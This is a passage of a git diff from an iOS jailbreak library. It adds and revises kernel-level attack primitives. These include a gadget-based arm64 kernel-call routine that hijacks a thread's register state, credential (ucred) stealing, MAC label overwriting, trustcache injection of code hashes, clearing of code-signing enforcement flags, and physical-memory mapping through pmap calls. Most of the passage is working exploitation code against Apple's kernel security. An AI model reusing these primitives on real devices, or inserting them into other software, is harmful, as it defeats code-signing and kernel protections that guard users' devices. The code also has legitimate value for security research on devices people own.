char *updateTar); -int jbclient_platform_set_jailbreak_visible(bool visible); +int jbclient_platform_jbsettings_set(const char *key, xpc_object_t value); +int jbclient_platform_jbsettings_set_bool(const char *key, bool boolValue); +int jbclient_platform_jbsettings_set_uint64(const char *key, uint64_t uint64Value); +int jbclient_platform_jbsettings_set_double(const char *key, double doubleValue); +int jbclient_platform_set_systemwide_domain_enabled(bool enabled); int jbclient_watchdog_intercept_userspace_panic(const char *panicMessage); -int jbclient_root_get_physrw(bool singlePTE); +int jbclient_watchdog_get_last_userspace_panic(char **panicMessage); +int jbclient_root_get_physrw(bool singlePTE, uint64_t *singlePTEAsidPtr); int jbclient_root_sign_thread(mach_port_t threadPort); int jbclient_root_get_sysinfo(xpc_object_t *sysInfoOut); -int jbclient_root_add_cdhash(uint8_t *cdhashData, size_t cdhashLen); int jbclient_root_steal_ucred(uint64_t ucredToSteal, uint64_t *orgUcred); +int jbclient_root_set_mac_label(uint64_t slot, uint64_t label, uint64_t *orgLabel); +int jbclient_root_trustcache_info(xpc_object_t *infoOut); +int jbclient_root_trustcache_add_cdhash(uint8_t *cdhashData, size_t cdhashLen); +int jbclient_root_trustcache_clear(void); int jbclient_boomerang_done(void); #endif diff --git a/BaseBin/libjailbreak/src/jbroot.c b/BaseBin/libjailbreak/src/jbroot.c new file mode 100644 index 0000000000..e2bc9dc661 --- /dev/null +++ b/BaseBin/libjailbreak/src/jbroot.c @@ -0,0 +1,6 @@ +#include "info.h" + +char *get_jbroot(void) +{ + return jbinfo(rootPath); +} \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/jbroot.h b/BaseBin/libjailbreak/src/jbroot.h new file mode 100644 index 0000000000..198f734def --- /dev/null +++ b/BaseBin/libjailbreak/src/jbroot.h @@ -0,0 +1,41 @@ +#ifndef JBROOT_H +#define JBROOT_H + +extern char *_Nullable get_jbroot(void); + +// Partially adapted from libroot for consistency +// This can be included even when libjailbreak is not linked, as long as the includer implements the get_jbroot symbol + +__attribute__((__overloadable__)) +static inline const char *_Nullable __jbroot_convert_path(const char *_Nullable path, char *_Nonnull buf) { + if (!buf || !path) return NULL; + const char *jbroot = get_jbroot(); + if (!jbroot) return NULL; + strlcpy(buf, jbroot, PATH_MAX); + strlcat(buf, path, PATH_MAX); + return buf; +} + +#ifdef __OBJC__ +#import + +__attribute__((__overloadable__)) +static inline NSString *_Nullable __jbroot_convert_path(NSString *_Nullable path, void *_Nullable const __unused buf) { + char tmpBuf[PATH_MAX]; + const char *convertedPath = __jbroot_convert_path(path.fileSystemRepresentation, tmpBuf); + return convertedPath ? [NSString stringWithUTF8String:convertedPath] : nil; +} + +#endif + +#define __BUFFER_FOR_CHAR_P(x) \ + __builtin_choose_expr( \ + __builtin_types_compatible_p(__typeof__(*(x)), char), \ + alloca(PATH_MAX), \ + NULL \ + ) + +#define JBROOT_PATH(path) __jbroot_convert_path((path), __BUFFER_FOR_CHAR_P(path)) +#define ROOTFS_PATH(path) __jbroot_convert_path((path), __BUFFER_FOR_CHAR_P(path)) + +#endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/jbserver.c b/BaseBin/libjailbreak/src/jbserver.c index 984a2260cd..580d36b2c3 100644 --- a/BaseBin/libjailbreak/src/jbserver.c +++ b/BaseBin/libjailbreak/src/jbserver.c @@ -1,4 +1,5 @@ #include "jbserver.h" +#include "util.h" int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xmsg) { @@ -15,6 +16,13 @@ int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xms } if (!domain) return -1; + audit_token_t clientToken = { 0 }; + xpc_dictionary_get_audit_token(xmsg, &clientToken); + + if (domain->permissionHandler) { + if (!domain->permissionHandler(clientToken)) return -2; + } + uint64_t actionIdx = xpc_dictionary_get_uint64(xmsg, "action"); if (actionIdx == 0) return -1; struct jbserver_action *action = &domain->actions[0]; @@ -23,9 +31,6 @@ int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xms } if (!action->handler) return -1; - audit_token_t clientToken = { 0 }; - xpc_dictionary_get_audit_token(xmsg, &clientToken); - int (*handler)(void *a1, void *a2, void *a3, void *a4, void *a5, void *a6, void *a7, void *a8) = action->handler; void *args[8] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; void *argsOut[8] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; @@ -40,6 +45,9 @@ int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xms case JBS_TYPE_UINT64: args[i] = (void *)xpc_dictionary_get_uint64(xmsg, argDesc->name); break; + case JBS_TYPE_FD: + args[i] = (void *)(int64_t)xpc_dictionary_dup_fd(xmsg, argDesc->name); + break; case JBS_TYPE_STRING: args[i] = (void *)xpc_dictionary_get_string(xmsg, argDesc->name); break; @@ -55,6 +63,9 @@ int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xms case JBS_TYPE_DICTIONARY: args[i] = (void *)xpc_dictionary_get_dictionary(xmsg, argDesc->name); break; + case JBS_TYPE_XPC_GENERIC: + args[i] = (void *)xpc_dictionary_get_value(xmsg, argDesc->name); + break; case JBS_TYPE_CALLER_TOKEN: args[i] = (void *)&clientToken; break; @@ -78,6 +89,11 @@ int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xms case JBS_TYPE_UINT64: xpc_dictionary_set_uint64(xreply, argDesc->name, (uint64_t)argsOut[i]); break; + case JBS_TYPE_FD: { + xpc_dictionary_set_fd(xreply, argDesc->name, (int)(int64_t)argsOut[i]); + close((int)(int64_t)argsOut[i]); + break; + } case JBS_TYPE_STRING: { if (argsOut[i]) { xpc_dictionary_set_string(xreply, argDesc->name, (char *)argsOut[i]); @@ -95,7 +111,8 @@ int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xms break; } case JBS_TYPE_ARRAY: - case JBS_TYPE_DICTIONARY: { + case JBS_TYPE_DICTIONARY: + case JBS_TYPE_XPC_GENERIC: { if (argsOut[i]) { xpc_dictionary_set_value(xreply, argDesc->name, (xpc_object_t)argsOut[i]); xpc_release((xpc_object_t)argsOut[i]); @@ -106,9 +123,15 @@ int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xms break; } } + else { + if (argDesc->type == JBS_TYPE_FD) { + close((int)(int64_t)args[i]); + } + } } xpc_dictionary_set_int64(xreply, "result", result); xpc_pipe_routine_reply(xreply); xpc_release(xreply); + return 0; -} \ No newline at end of file +} diff --git a/BaseBin/libjailbreak/src/jbserver.h b/BaseBin/libjailbreak/src/jbserver.h index fcff70af9f..2d69a87319 100644 --- a/BaseBin/libjailbreak/src/jbserver.h +++ b/BaseBin/libjailbreak/src/jbserver.h @@ -4,6 +4,9 @@ #include #include #include +#include +#include "signatures.h" +#include "jbserver_domains.h" typedef enum { JBS_TYPE_BOOL, @@ -12,7 +15,9 @@ typedef enum { JBS_TYPE_DATA, JBS_TYPE_ARRAY, JBS_TYPE_DICTIONARY, + JBS_TYPE_FD, JBS_TYPE_CALLER_TOKEN, + JBS_TYPE_XPC_GENERIC, } jbserver_type; typedef struct s_jbserver_arg @@ -28,7 +33,7 @@ struct jbserver_action { }; struct jbserver_domain { - void *permissionHandler; + bool (*permissionHandler)(audit_token_t); struct jbserver_action actions[]; // Flexible array member moved to the end }; @@ -39,51 +44,59 @@ struct jbserver_impl { extern struct jbserver_impl gGlobalServer; +int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xmsg); +#define JBSERVER_MACH_MAGIC 0x444F50414D494E45 +#define JBSERVER_MACH_CHECKIN 0 +#define JBSERVER_MACH_FORK_FIX 1 +#define JBSERVER_MACH_TRUST_FILE 2 -// Domain: System-Wide -// Reachable from all processes -#define JBS_DOMAIN_SYSTEMWIDE 1 -enum { - JBS_SYSTEMWIDE_GET_JB_ROOT = 1, - JBS_SYSTEMWIDE_GET_BOOT_UUID, - JBS_SYSTEMWIDE_TRUST_BINARY, - JBS_SYSTEMWIDE_TRUST_LIBRARY, - JBS_SYSTEMWIDE_PROCESS_CHECKIN, - JBS_SYSTEMWIDE_FORK_FIX, - // JBS_SYSTEMWIDE_LOCK_PAGE, +struct jbserver_mach_msg { + mach_msg_header_t hdr; + uint64_t magic; + uint64_t action; }; -// Domain: Platform -// Reachable from all processes that have CS_PLATFORMIZED or are entitled with platform-application or are the Dopamine app itself -#define JBS_DOMAIN_PLATFORM 2 -enum { - JBS_PLATFORM_SET_PROCESS_DEBUGGED = 1, - JBS_PLATFORM_STAGE_JAILBREAK_UPDATE, - JBS_PLATFORM_SET_JAILBREAK_VISIBLE, +struct jbserver_mach_msg_reply { + struct jbserver_mach_msg msg; + uint64_t status; }; +struct jbserver_mach_msg_checkin { + struct jbserver_mach_msg base; +}; -// Domain: Watchdog -// Only reachable from watchdogd -#define JBS_DOMAIN_WATCHDOG 3 -enum { - JBS_WATCHDOG_INTERCEPT_USERSPACE_PANIC = 1, +struct jbserver_mach_msg_checkin_reply { + struct jbserver_mach_msg_reply base; + bool fullyDebugged; + char jbRootPath[PATH_MAX]; + char bootUUID[37]; + char sandboxExtensions[2000]; }; -// Domain: Root -// Only reachable from root processes -#define JBS_DOMAIN_ROOT 4 -enum { - JBS_ROOT_GET_PHYSRW = 1, - JBS_ROOT_SIGN_THREAD, - JBS_ROOT_GET_SYSINFO, - JBS_ROOT_ADD_CDHASH, - JBS_ROOT_STEAL_UCRED, +struct jbserver_mach_msg_forkfix { + struct jbserver_mach_msg base; + pid_t childPid; }; -#define JBS_BOOMERANG_DONE 42 +struct jbserver_mach_msg_forkfix_reply { + struct jbserver_mach_msg_reply base; +}; -int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xmsg); +struct jbserver_mach_msg_trust_fd { + struct jbserver_mach_msg base; + int64_t fd; + bool siginfoPopulated; + struct siginfo siginfo; +}; + +struct jbserver_mach_msg_trust_fd_reply { + struct jbserver_mach_msg_reply base; +}; + +struct jbserver_mach_complex_msg { + mach_msg_header_t hdr; + mach_msg_body_t body; +}; #endif diff --git a/BaseBin/libjailbreak/src/jbserver_boomerang.c b/BaseBin/libjailbreak/src/jbserver_boomerang.c index 8013c65af5..1405f5924d 100644 --- a/BaseBin/libjailbreak/src/jbserver_boomerang.c +++ b/BaseBin/libjailbreak/src/jbserver_boomerang.c @@ -17,15 +17,21 @@ static bool boomerang_domain_allowed(audit_token_t clientToken) return (audit_token_to_pid(clientToken) == 1) || (getpid() == 1); } -int boomerang_get_physrw(audit_token_t *clientToken, bool singlePTE) +int boomerang_get_physrw(audit_token_t *clientToken, bool singlePTE, uint64_t *singlePTEAsidPtr) { + int r = -1; pid_t pid = audit_token_to_pid(*clientToken); + + thread_caffeinate_start(); if (singlePTE) { - return physrw_pte_handoff(pid); + r = physrw_pte_handoff(pid, singlePTEAsidPtr); } else { - return physrw_handoff(pid); + r = physrw_handoff(pid); } + thread_caffeinate_stop(); + + return r; } int boomerang_sign_thread(audit_token_t *clientToken, mach_port_t threadPort) @@ -64,6 +70,7 @@ struct jbserver_domain gBoomerangDomain = { .args = (jbserver_arg[]){ { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, { .name = "single-pte", .type = JBS_TYPE_BOOL, .out = false }, + { .name = "single-pte-asid-ptr", .type = JBS_TYPE_UINT64, .out = true }, { 0 }, }, }, @@ -113,4 +120,4 @@ int jbserver_received_boomerang_xpc_message(struct jbserver_impl *server, xpc_ob } } return r; -} \ No newline at end of file +} diff --git a/BaseBin/libjailbreak/src/jbserver_boomerang.h b/BaseBin/libjailbreak/src/jbserver_boomerang.h index 1593cde1b2..7ae74918c7 100644 --- a/BaseBin/libjailbreak/src/jbserver_boomerang.h +++ b/BaseBin/libjailbreak/src/jbserver_boomerang.h @@ -11,7 +11,7 @@ #include "jbserver.h" -int boomerang_get_physrw(audit_token_t *clientToken, bool singlePTE); +int boomerang_get_physrw(audit_token_t *clientToken, bool singlePTE, uint64_t *singlePTEAsidPtr); int boomerang_sign_thread(audit_token_t *clientToken, mach_port_t threadPort); int boomerang_get_sysinfo(xpc_object_t *sysInfoOut); diff --git a/BaseBin/libjailbreak/src/jbserver_domains.h b/BaseBin/libjailbreak/src/jbserver_domains.h new file mode 100644 index 0000000000..f052d85ab4 --- /dev/null +++ b/BaseBin/libjailbreak/src/jbserver_domains.h @@ -0,0 +1,52 @@ +#ifndef JBSERVER_DOMAINS +#define JBSERVER_DOMAINS + +// Domain: System-Wide +// Reachable from all processes +#define JBS_DOMAIN_SYSTEMWIDE 1 +enum { + JBS_SYSTEMWIDE_GET_JBROOT = 1, + JBS_SYSTEMWIDE_GET_BOOT_UUID, + JBS_SYSTEMWIDE_TRUST_FILE, + JBS_SYSTEMWIDE_PROCESS_CHECKIN, + JBS_SYSTEMWIDE_FORK_FIX, + JBS_SYSTEMWIDE_CS_REVALIDATE, + JBS_SYSTEMWIDE_JBSETTINGS_GET, +}; + +// Domain: Platform +// Reachable from all processes that have CS_PLATFORMIZED or are entitled with platform-application or are the Dopamine app itself +#define JBS_DOMAIN_PLATFORM 2 +enum { + JBS_PLATFORM_SET_PROCESS_DEBUGGED = 1, + JBS_PLATFORM_STAGE_JAILBREAK_UPDATE, + JBS_PLATFORM_JBSETTINGS_SET, + JBS_PLATFORM_SET_SYSTEMWIDE_DOMAIN_ENABLED, +}; + + +// Domain: Watchdog +// Only reachable from watchdogd +#define JBS_DOMAIN_WATCHDOG 3 +enum { + JBS_WATCHDOG_INTERCEPT_USERSPACE_PANIC = 1, + JBS_WATCHDOG_GET_LAST_USERSPACE_PANIC +}; + +// Domain: Root +// Only reachable from root processes +#define JBS_DOMAIN_ROOT 4 +enum { + JBS_ROOT_GET_PHYSRW = 1, + JBS_ROOT_SIGN_THREAD, + JBS_ROOT_GET_SYSINFO, + JBS_ROOT_STEAL_UCRED, + JBS_ROOT_SET_MAC_LABEL, + JBS_ROOT_TRUSTCACHE_INFO, + JBS_ROOT_TRUSTCACHE_ADD_CDHASH, + JBS_ROOT_TRUSTCACHE_CLEAR, +}; + +#define JBS_BOOMERANG_DONE 42 + +#endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/kalloc_pt.m b/BaseBin/libjailbreak/src/kalloc_pt.m index 7761f6229a..bb2ba69a52 100644 --- a/BaseBin/libjailbreak/src/kalloc_pt.m +++ b/BaseBin/libjailbreak/src/kalloc_pt.m @@ -16,7 +16,7 @@ int kalloc_global_pt(uint64_t *kaddrOut, uint64_t size) @autoreleasepool { if (!kaddrOut) return -1; if (size == 0) return -1; - if (size > PAGE_SIZE) return -1; // nope + if (size > vm_real_kernel_page_size) return -1; // nope if (gPool.count) { NSNumber *poolAllocation = gPool[0]; diff --git a/BaseBin/libjailbreak/src/kcall_Fugu14.c b/BaseBin/libjailbreak/src/kcall_Fugu14.c index 108b10690a..1b1a7f2e30 100644 --- a/BaseBin/libjailbreak/src/kcall_Fugu14.c +++ b/BaseBin/libjailbreak/src/kcall_Fugu14.c @@ -19,14 +19,14 @@ void pac_loop(void); uint64_t mapKernelPage(uint64_t addr) { - uint64_t page = addr & ~0x3FFFULL; - uint64_t off = addr & 0x3FFFULL; - uint64_t translated = kvtophys(page); - void *map = NULL; - if (kmap(translated, 0x4000, &map) == 0) { - return ((uint64_t)map) + off; - } - return -1; + uint64_t page = addr & ~0x3FFFULL; + uint64_t off = addr & 0x3FFFULL; + uint64_t translated = kvtophys(page); + void *map = NULL; + if (kmap(translated, 0x4000, &map) == 0) { + return ((uint64_t)map) + off; + } + return -1; } uint64_t getUserReturnThreadContext(void) @@ -130,8 +130,8 @@ int fugu14_kcall_init(int (^threadSigner)(mach_port_t threadPort)) // Write register values uint64_t str_x8_x9_gadget = kgadget(str_x8_x9); - uint64_t exception_return_after_check = kgadget(exception_return_after_check); - uint64_t brX22 = kgadget(br_x22); + uint64_t exception_return_after_check = kgadget(exception_return_after_check); + uint64_t brX22 = kgadget(br_x22); kwrite64(actContext + offsetof(kRegisterState, pc), str_x8_x9_gadget); kwrite32(actContext + offsetof(kRegisterState, cpsr), CPSR_KERN_INTR_DIS); kwrite64(actContext + offsetof(kRegisterState, lr), exception_return_after_check); @@ -340,9 +340,10 @@ void fugu14_kexec(kRegisterState *state) fugu14_kexec_on_thread(&gFugu14KcallThread, state); } -void jbclient_get_fugu14_kcall(void) +int jbclient_get_fugu14_kcall(void) { - fugu14_kcall_init(^int(mach_port_t threadToSign) { + if (!gPrimitives.kalloc_local) return -1; + return fugu14_kcall_init(^int(mach_port_t threadToSign) { return jbclient_root_sign_thread(threadToSign); }); } \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/kcall_Fugu14.h b/BaseBin/libjailbreak/src/kcall_Fugu14.h index 8d57a040dd..a6e8702cfa 100644 --- a/BaseBin/libjailbreak/src/kcall_Fugu14.h +++ b/BaseBin/libjailbreak/src/kcall_Fugu14.h @@ -9,19 +9,19 @@ #include "primitives.h" typedef struct { - bool inited; + bool inited; pthread_mutex_t lock; - thread_t thread; - uint64_t actContext; - kRegisterState signedState; - uint64_t kernelStack; - kRegisterState *mappedState; - uint64_t scratchMemory; - uint64_t *scratchMemoryMapped; + thread_t thread; + uint64_t actContext; + kRegisterState signedState; + uint64_t kernelStack; + kRegisterState *mappedState; + uint64_t scratchMemory; + uint64_t *scratchMemoryMapped; } Fugu14KcallThread; int fugu14_kcall_init(int (^threadSigner)(mach_port_t threadPort)); -void jbclient_get_fugu14_kcall(void); +int jbclient_get_fugu14_kcall(void); #endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/kcall_arm64.c b/BaseBin/libjailbreak/src/kcall_arm64.c new file mode 100644 index 0000000000..bbc70666f4 --- /dev/null +++ b/BaseBin/libjailbreak/src/kcall_arm64.c @@ -0,0 +1,146 @@ +#include "kcall_arm64.h" + +#include "primitives.h" +#include "translation.h" +#include "kernel.h" +#include "util.h" + +// Reuse return logic from Fugu14_Kcall +// I don't like this as it breaks executing multiple threads at the same time +// But as we don't even really do/support that currently anyways, it doesn't matter +uint64_t getUserReturnThreadContext(void); +extern volatile uint64_t gUserReturnDidHappen; + +#ifndef __arm64e__ + +arm64KcallThread gArm64KcallThead; + +void arm64_kexec_on_thread_locked(arm64KcallThread *callThread, kRegisterState *threadState) +{ + memcpy(callThread->alignedState, threadState, sizeof(*threadState)); + + kRegisterState kcallBootstrapThreadState = { 0 }; + uint64_t threadKptr = task_get_ipc_port_kobject(task_self(), callThread->thread); + + kcallBootstrapThreadState.pc = kgadget(str_x8_x0); // "str x8, [x0]", "ret" gadget + kcallBootstrapThreadState.lr = ksymbol(exception_return); + + // Kptr to actual thread state that does kcall + // We use the userland memory here to avoid allocating extra kernel memory + + // The ret of the "str x8, [x0]", "ret" gadget will go to exception_return + // This will execute the thread state in x21 + kcallBootstrapThreadState.x[21] = phystokv(vtophys(ttep_self(), (uint64_t)callThread->alignedState)); + + // Make bootstrap thread set machine.kstackptr based on gadget + kcallBootstrapThreadState.x[0] = callThread->kernelStack; + kcallBootstrapThreadState.x[8] = threadKptr + koffsetof(thread, machine_kstackptr); + + // Change cpsr to EL0, to make the thread actually run in kernelspace + // Interrupts have to be disabled until we have set up the stack, else this will cause random panics + kcallBootstrapThreadState.cpsr = CPSR_KERN_INTR_DIS; + + kwritebuf(callThread->actContext, &kcallBootstrapThreadState, sizeof(kcallBootstrapThreadState)); + + thread_resume(callThread->thread); +} + +void arm64_kexec_on_thread(arm64KcallThread *callThread, kRegisterState *threadState) +{ + pthread_mutex_lock(&callThread->lock); + arm64_kexec_on_thread_locked(callThread, threadState); + pthread_mutex_unlock(&callThread->lock); +} + +void arm64_kcall_prepare_state(arm64KcallThread *callThread, kRegisterState *threadState, uint64_t returnContextKptr, uint64_t *returnStorage) +{ + threadState->x[19] = phystokv(vtophys(ttep_self(), (uint64_t)returnStorage)); + threadState->x[21] = returnContextKptr; + + threadState->lr = kgadget(kcall_return); + threadState->sp = callThread->kernelStack - 0x20; + kwrite64(threadState->sp + 0x0, 0); + kwrite64(threadState->sp + 0x8, 0); + kwrite64(threadState->sp + 0x10, 0); + kwrite64(threadState->sp + 0x18, ksymbol(exception_return)); // kcall_return will load this into lr + + threadState->cpsr = CPSR_KERN_INTR_EN; +} + +uint64_t arm64_kcall_on_thread(arm64KcallThread *callThread, uint64_t func, int argc, const uint64_t *argv) +{ + // Currently doesn't support more than 8 args + // Not sure how trivial it would be to support due to kcall_return making some assumptions about the stack + if (argc > 8) return -1; + + pthread_mutex_lock(&callThread->lock); + + uint64_t retValue = 0; + + kRegisterState threadState = { 0 }; + threadState.pc = func; + for (int i = 0; i < argc; i++) { + threadState.x[i] = argv[i]; + } + arm64_kcall_prepare_state(callThread, &threadState, getUserReturnThreadContext(), &retValue); + + gUserReturnDidHappen = false; + + arm64_kexec_on_thread_locked(callThread, &threadState); + + while (!gUserReturnDidHappen) ; + + thread_suspend(callThread->thread); + thread_abort(callThread->thread); + + pthread_mutex_unlock(&callThread->lock); + + return retValue; +} + +void arm64_kexec(kRegisterState *threadState) +{ + arm64_kexec_on_thread(&gArm64KcallThead, threadState); +} + +uint64_t arm64_kcall(uint64_t func, int argc, const uint64_t *argv) +{ + return arm64_kcall_on_thread(&gArm64KcallThead, func, argc, argv); +} + +int arm64_kcall_init(void) +{ + if (!gPrimitives.kalloc_local) return -1; + + // When doing an OTA update from 2.0.x to >=2.1, we will not have offsets for kcall yet so we can't initialize it + if (!koffsetof(thread, machine_contextData)) return -1; + + static dispatch_once_t ot; + dispatch_once(&ot, ^{ + pthread_mutex_init(&gArm64KcallThead.lock, NULL); + + // Kcall thread + // The thread that we make execute in kernelspace by ovewriting it's cpsr in kernel memory + thread_create(mach_task_self_, &gArm64KcallThead.thread); + uint64_t threadKptr = task_get_ipc_port_kobject(task_self(), gArm64KcallThead.thread); + gArm64KcallThead.actContext = kread_ptr(threadKptr + koffsetof(thread, machine_contextData)); + + // In order to do kcalls, we need to make a kernel allocation that is used as the stack + kalloc_with_options(&gArm64KcallThead.kernelStack, 0x10000, KALLOC_OPTION_LOCAL); + gArm64KcallThead.kernelStack += 0x8000; + + // Aligned state, we write to this allocation and then we can get the kernel pointer from it to pass to exception_return + posix_memalign((void **)&gArm64KcallThead.alignedState, vm_real_kernel_page_size, vm_real_kernel_page_size); + }); + + gPrimitives.kcall = arm64_kcall; + gPrimitives.kexec = arm64_kexec; + + return 0; +} + +#else + +int arm64_kcall_init(void) { return -1; } + +#endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/kcall_arm64.h b/BaseBin/libjailbreak/src/kcall_arm64.h new file mode 100644 index 0000000000..3073e57230 --- /dev/null +++ b/BaseBin/libjailbreak/src/kcall_arm64.h @@ -0,0 +1,29 @@ +#ifndef KCALL_ARM64_H +#define KCALL_ARM64_H + +#ifndef __arm64e__ + +#include +#include +#include +#include +#include "kernel.h" +#include "primitives.h" + +typedef struct { + bool inited; + pthread_mutex_t lock; + dispatch_semaphore_t semaphore; + thread_t thread; + uint64_t actContext; + uint64_t kernelStack; + kRegisterState *alignedState; +} arm64KcallThread; + +void arm64_kcall_return(void); + +int arm64_kcall_init(void); + +#endif + +#endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/kernel.c b/BaseBin/libjailbreak/src/kernel.c index aad243ddaa..55fd16a42b 100644 --- a/BaseBin/libjailbreak/src/kernel.c +++ b/BaseBin/libjailbreak/src/kernel.c @@ -89,8 +89,8 @@ uint64_t ipc_entry_lookup(uint64_t space, mach_port_name_t name) { uint64_t table = 0; // New format in iOS 16.1 - if (gSystemInfo.kernelStruct.ipc_space.table_uses_smd) { - table = kread_smdptr(space + koffsetof(ipc_space, table)); + if (gSystemInfo.kernelStruct.ipc_space.table_uses_smr) { + table = kread_smrptr(space + koffsetof(ipc_space, table)); } else { table = kread_ptr(space + koffsetof(ipc_space, table)); @@ -133,7 +133,7 @@ void mac_label_set(uint64_t label, int slot, uint64_t value) // THe inverse of the condition above, treat -1 as 0 on 15.0 - 15.1.1 if (!gSystemInfo.kernelStruct.proc_ro.exists && value == -1) value = 0; #ifdef __arm64e__ - if (jbinfo(usesPACBypass)) { + if (jbinfo(usesPACBypass) && !gSystemInfo.kernelStruct.proc_ro.exists) { kcall(NULL, ksymbol(mac_label_set), 3, (uint64_t[]){ label, slot, value }); return; } @@ -151,33 +151,81 @@ int pmap_cs_allow_invalid(uint64_t pmap) int cs_allow_invalid(uint64_t proc, bool emulateFully) { - uint64_t task = proc_task(proc); - uint64_t vm_map = kread_ptr(task + koffsetof(task, map)); - uint64_t pmap = kread_ptr(vm_map + koffsetof(vm_map, pmap)); - - // For non-pmap_cs (arm64) devices, this should always be emulated. + if (proc) { + uint64_t task = proc_task(proc); + if (task) { + uint64_t vm_map = kread_ptr(task + koffsetof(task, map)); + if (vm_map) { + uint64_t pmap = kread_ptr(vm_map + koffsetof(vm_map, pmap)); + if (pmap) { + // For non-pmap_cs (arm64) devices, this should always be emulated. #ifdef __arm64e__ - if (emulateFully) { + if (emulateFully) { #endif - // Fugu15 Rootful - //proc_csflags_clear(proc, CS_EXEC_SET_ENFORCEMENT | CS_EXEC_SET_KILL | CS_EXEC_SET_HARD | CS_REQUIRE_LV | CS_ENFORCEMENT | CS_RESTRICT | CS_KILL | CS_HARD | CS_FORCED_LV); - //proc_csflags_set(proc, CS_DEBUGGED | CS_INVALID_ALLOWED | CS_GET_TASK_ALLOW); - - // XNU - proc_csflags_clear(proc, CS_KILL | CS_HARD); - proc_csflags_set(proc, CS_DEBUGGED); - - task_set_memory_ownership_transfer(task, true); - vm_map_flags flags = { 0 }; - kreadbuf(vm_map + koffsetof(vm_map, flags), &flags, sizeof(flags)); - flags.switch_protect = false; - flags.cs_debugged = true; - kwritebuf(vm_map + koffsetof(vm_map, flags), &flags, sizeof(flags)); + // Fugu15 Rootful + //proc_csflags_clear(proc, CS_EXEC_SET_ENFORCEMENT | CS_EXEC_SET_KILL | CS_EXEC_SET_HARD | CS_REQUIRE_LV | CS_ENFORCEMENT | CS_RESTRICT | CS_KILL | CS_HARD | CS_FORCED_LV); + //proc_csflags_set(proc, CS_DEBUGGED | CS_INVALID_ALLOWED | CS_GET_TASK_ALLOW); + + // XNU + proc_csflags_clear(proc, CS_KILL | CS_HARD); + proc_csflags_set(proc, CS_DEBUGGED); + + task_set_memory_ownership_transfer(task, true); + vm_map_flags flags = { 0 }; + kreadbuf(vm_map + koffsetof(vm_map, flags), &flags, sizeof(flags)); + flags.switch_protect = false; + flags.cs_debugged = true; + kwritebuf(vm_map + koffsetof(vm_map, flags), &flags, sizeof(flags)); #ifdef __arm64e__ - } - - // For pmap_cs (arm64e) devices, this is enough to get unsigned code to run - pmap_cs_allow_invalid(pmap); + } + // For pmap_cs (arm64e) devices, this is enough to get unsigned code to run + pmap_cs_allow_invalid(pmap); #endif + } + } + } + } return 0; } + +kern_return_t pmap_enter_options_addr(uint64_t pmap, uint64_t pa, uint64_t va) +{ + uint64_t kr = -1; + if (!is_kcall_available()) return kr; + while (1) { + kcall(&kr, ksymbol(pmap_enter_options_addr), 8, (uint64_t[]){ pmap, va, pa, VM_PROT_READ | VM_PROT_WRITE, 0, 0, 1, 1 }); + if (kr != KERN_RESOURCE_SHORTAGE) { + return kr; + } + } +} + +uint64_t pmap_remove_options(uint64_t pmap, uint64_t start, uint64_t end) +{ + uint64_t r = -1; + if (!is_kcall_available()) return r; + kcall(&r, ksymbol(pmap_remove_options), 4, (uint64_t[]){ pmap, start, end, 0x100 }); + return r; +} + +void pmap_remove(uint64_t pmap, uint64_t start, uint64_t end) +{ +#ifdef __arm64e__ + pmap_remove_options(pmap, start, end); +#else + uint64_t remove_count = 0; + if (!pmap) { + return; + } + uint64_t va = start; + while (va < end) { + uint64_t l; + l = ((va + L2_BLOCK_SIZE) & ~L2_BLOCK_MASK); + if (l > end) { + l = end; + } + remove_count = pmap_remove_options(pmap, va, l); + va = remove_count; + } +#endif +} \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/kernel.h b/BaseBin/libjailbreak/src/kernel.h index 1e180cb343..44144abdaa 100644 --- a/BaseBin/libjailbreak/src/kernel.h +++ b/BaseBin/libjailbreak/src/kernel.h @@ -6,6 +6,7 @@ #include #include #include "pvh.h" +#include "info.h" #define CPSR_KERN_INTR_EN (0x401000 | ((uint32_t)kconstant(kernel_el) << 2)) #define CPSR_KERN_INTR_DIS (0x4013c0 | ((uint32_t)kconstant(kernel_el) << 2)) @@ -14,7 +15,7 @@ #define PERM_KRW_URW 0x7 // R/W for kernel and user #define P_SUGID 0x00000100 -#define atop(x) ((vm_address_t)(x) >> PAGE_SHIFT) +#define atop(x) ((vm_address_t)(x) >> vm_real_kernel_page_shift) typedef struct __attribute__((__packed__)) _vm_map_flags { unsigned int /* boolean_t */ wait_for_space:1, /* Should callers wait for space? */ @@ -56,5 +57,8 @@ uint64_t mac_label_get(uint64_t label, int slot); void mac_label_set(uint64_t label, int slot, uint64_t value); int pmap_cs_allow_invalid(uint64_t pmap); int cs_allow_invalid(uint64_t proc, bool emulateFully); +kern_return_t pmap_enter_options_addr(uint64_t pmap, uint64_t pa, uint64_t va); +uint64_t pmap_remove_options(uint64_t pmap, uint64_t start, uint64_t end); +void pmap_remove(uint64_t pmap, uint64_t start, uint64_t end); #endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/libjailbreak.h b/BaseBin/libjailbreak/src/libjailbreak.h index b10bfccfd2..27885a8ee7 100644 --- a/BaseBin/libjailbreak/src/libjailbreak.h +++ b/BaseBin/libjailbreak/src/libjailbreak.h @@ -6,4 +6,5 @@ #include "trustcache.h" #include "jbclient_xpc.h" +int jbclient_initialize_primitives_internal(bool physrwPTE); int jbclient_initialize_primitives(void); \ No newline at end of file diff --git 